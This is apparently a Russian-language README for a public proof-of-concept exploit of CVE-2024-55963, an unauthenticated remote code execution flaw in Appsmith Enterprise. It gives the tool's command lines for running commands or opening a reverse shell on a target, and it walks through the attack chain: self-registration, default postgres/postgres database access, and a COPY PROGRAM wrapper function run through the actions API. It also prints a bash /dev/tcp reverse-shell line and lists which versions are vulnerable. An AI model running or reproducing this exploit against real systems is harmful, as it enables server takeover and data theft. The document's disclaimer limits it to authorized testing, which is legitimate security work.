
CVE-2024-55963 позволяет неаутентифицированное удалённое выполнение кода на платформе Appsmith Enterprise из-за некорректно сконфигурированной базы данных PostgreSQL, включённой по умолчанию.
PoC‑эксплойт для CVE‑2024‑55963, который выполняет произвольные команды или запускает reverse shell на уязвимых экземплярах Appsmith.
Он автоматически обрабатывает как современные серверы (с функцией environmentId), так и гораздо более старые «legacy» сборки, которые появились до неё, поэтому вы можете использовать один скрипт для всех версий от v1.20 до последней уязвимой версии v1.51.
# Выполнить произвольную команду (по умолчанию — `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# Запустить reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
Примечание: Подойдут любые учётные данные, если сервер разрешает самостоятельную регистрацию. Скрипт сначала пытается выполнить вход, а если аккаунт не существует — переключается на регистрацию.
/api/v1/environments/workspaces/{id}; если он недоступен, переключается в legacy‑режим (пустой environmentId)./api/v1/applications и извлекает pageId.localhost:5432 с учётными данными postgres/postgres (разрешено уязвимым pg_hba.conf по умолчанию).exec_cmd() и временную таблицу cmd_output для сбора STDOUT.SELECT * FROM exec_cmd('<ваша команда>') через эндпоинт /api/v1/actions/execute.bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'.requests| Версия Appsmith | Результат |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, legacy‑путь |
| 1.52+ | ❌ Исправлено – создание функции не работает |
Этот PoC является своего рода улучшением эксплойта Rhino Security Labs (я не знал, что у них уже есть публичный PoC, когда просматривал исследование).
PoC от Rhino использует статические заголовки, cookie и учётные данные. При тестировании этого эксплойта у меня возникали проблемы, когда аккаунт уже существовал в конкретных версиях. Этот скрипт позволяет пользователю указать любую комбинацию email/пароль из командной строки. Как уже упоминалось, CSRF‑токен извлекается, а не берётся из жёстко заданных значений.
Environments API.COPY PROGRAM внутри PL/pgSQL‑обёртки exec_cmd() и API /actions/execute, но это, возможно, более шумно. Rhino полагается на встроенный эндпоинт предпросмотра схемы для выполнения ad‑hoc COPY (SELECT …). Этот эндпоинт обрезает длину вывода и добавляет дополнительные правила экранирования, поэтому длинные команды или связанные пейлоады передавать сложнее.pyfigletenvironmentId. Эксплойт Rhino предполагает, что он присутствует всегда.Вместе эти проектные решения делают эксплойт короче, надёжнее и удобнее для red‑team использования, при этом демонстрируя ту же базовую уязвимость.
Этот код предоставляется только для образовательных целей и авторизованного тестирования. Запуск его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, вероятно, является незаконным. Авторы не несут ответственности за неправомерное использование.